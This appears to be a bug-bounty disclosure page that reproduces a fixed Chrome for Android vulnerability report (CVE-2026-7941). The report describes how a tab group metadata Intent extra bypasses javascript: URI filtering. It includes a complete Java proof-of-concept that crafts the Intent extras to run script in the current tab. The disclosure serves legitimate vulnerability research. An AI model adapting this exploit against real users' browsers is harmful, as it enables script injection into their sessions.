Skip to content
XSS Advisory Advanced CVE-2026-7941

Insufficient validation of untrusted input in Mobile (CVE-2026-7941)

Adithya Kotian Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 48 days

Security Bug

Important: Please do not change the component of this bug manually.

Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md

Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs

Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp

NOTE: Security bugs are normally made public once a fix has been widely deployed.


VULNERABILITY DETAILS

In shouldIgnoreIntent method of IntentHandler class , externally recieved intent goes through a check to prevent "javascript" and "jar" schemed URI's from being loaded. Source

Using getMultiTabMetadata method, it checks if the intent contains bundle extra with key org.chromium.chrome.browser.multi_tab_reparenting_metadata ; if so, it retrieves it and initializes the class MultiTabMetadata with the extras recieved from the bundle.

If the object returned by getMultiTabMetadata is not null, then the field urls which is an ArrayList goes through for loop and any existence of "javascript" and "jar" based URI's is removed from the list.

After performing sanitization on the urls, the method returns false if the list is not empty. After this method gets executed, control goes to maybeHandleUrlIntent method source. This method, instead of checking if the intent has bundle extra with key org.chromium.chrome.browser.multi_tab_reparenting_metadata at the beginning, it will check if there is an extra named org.chromium.chrome.browser.tab_group_metadata and creates an object of class TabGroupMetadata which will be used as a source for loading urls.

The sequence of retrieval of extras differs between shouldIgnoreIntent and maybeHandleUrlIntent, through which it is possible to include a "javascript:" uri in the arraylist of TabGroupMetadata , which won't go through the check.

By passing an extra com.android.browser.application_id with the value com.android.chrome, the TabOpenType returned by the method getTabOpenType will be CLOBBER_CURRENT_TAB(value: 3).

In processUrlViewIntent method , if the value of TabOpenType is CLOBBER_CURRENT_TAB, browser will load it in the current active tab:

  Tab currentTab = getActivityTab();
                if (currentTab != null) {
                    RedirectHandlerTabHelper.updateIntentInTab(
                            currentTab, intent, /* isCustomTab= */ false);
                    currentTab.loadUrl(loadUrlParams);
                    resultTab = currentTab;
                } else {
                    resultTab = launchIntent(loadUrlParams, externalAppId, true, intent);
                }
                break;

Using the vulnerability which was found out earlier, we can pass in "javascript:" uri which will be executed in the context of the current tab.

VERSION

Chrome Version: 146.0.7680.119 (Stable) Operating System: Android 16

REPRODUCTION CASE

Java
        ArrayList<Integer> mtidkey = new ArrayList<>();
        mtidkey.add(1);
        ArrayList<String> mturlkey = new ArrayList<>();
        mturlkey.add("https://");
        boolean[] mtispinned = {false};
        Bundle bundle = new Bundle();
        bundle.putIntegerArrayList("MultiTabReparentingIdsKey",mtidkey);
        bundle.putChar("MultiTabReparentingIsIncognitoKey",'a');
        bundle.putStringArrayList("MultiTabReparentingUrlsKey",mturlkey);
        bundle.putBooleanArray("MultiTabReparentingIsPinnedKey",mtispinned);
        Map.Entry<Object, Object> entry =
                new SimpleImmutableEntry<>(1, "javascript:alert(document.domain)");
        ArrayList taburl = new ArrayList();
        taburl.add(entry);
        Bundle innerBundle = new Bundle();
        innerBundle.putLong("high",1);
        innerBundle.putLong("low",1);
        Bundle exp = new Bundle();
        exp.putBundle("tabGroupId",innerBundle);
        exp.putSerializable("tabIdsToUrls",taburl);
        exp.putInt("selectedTabId",1);
        exp.putInt("sourceWindowId",1);
        exp.putInt("tabGroupColor",1);
        exp.putBoolean("tabGroupCollapsed",false);
        exp.putBoolean("isGroupShared",true);
        exp.putBoolean("isIncognito",false);
        Intent intent = new Intent();
                intent.putExtra("org.chromium.chrome.browser.tab_group_metadata",exp);
                intent.putExtra("org.chromium.chrome.browser.multi_tab_reparenting_metadata",bundle);
                intent.putExtra("com.android.browser.application_id","com.android.chrome");
                intent.setClassName("com.android.chrome","org.chromium.chrome.browser.ChromeTabbedActivity");
                intent.setAction("org.chromium.chrome.browser.dummy.action");
                Intent launch = new Intent("android.intent.action.VIEW").setData(Uri.parse("https://www.google.com")).setPackage("com.android.chrome");
                startActivity(launch);

                new Handler().postDelayed(new Runnable() {
                    @Override
                    public void run() {

                        startActivity(intent);

                    }
                }, 2000);

CREDIT INFORMATION

Reporter credit: Adithya Kotian

The original report as published on the Chromium issue tracker, by Adithya Kotian. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A medium-severity XSS bug in Mobile (Google Chrome). Chrome VRP made it public on 5 May 2026 as CVE-2026-7941. Fixed in version 148.0.7778.96.

About XSS

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Adithya Kotian

View all

1 more disclosed report, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.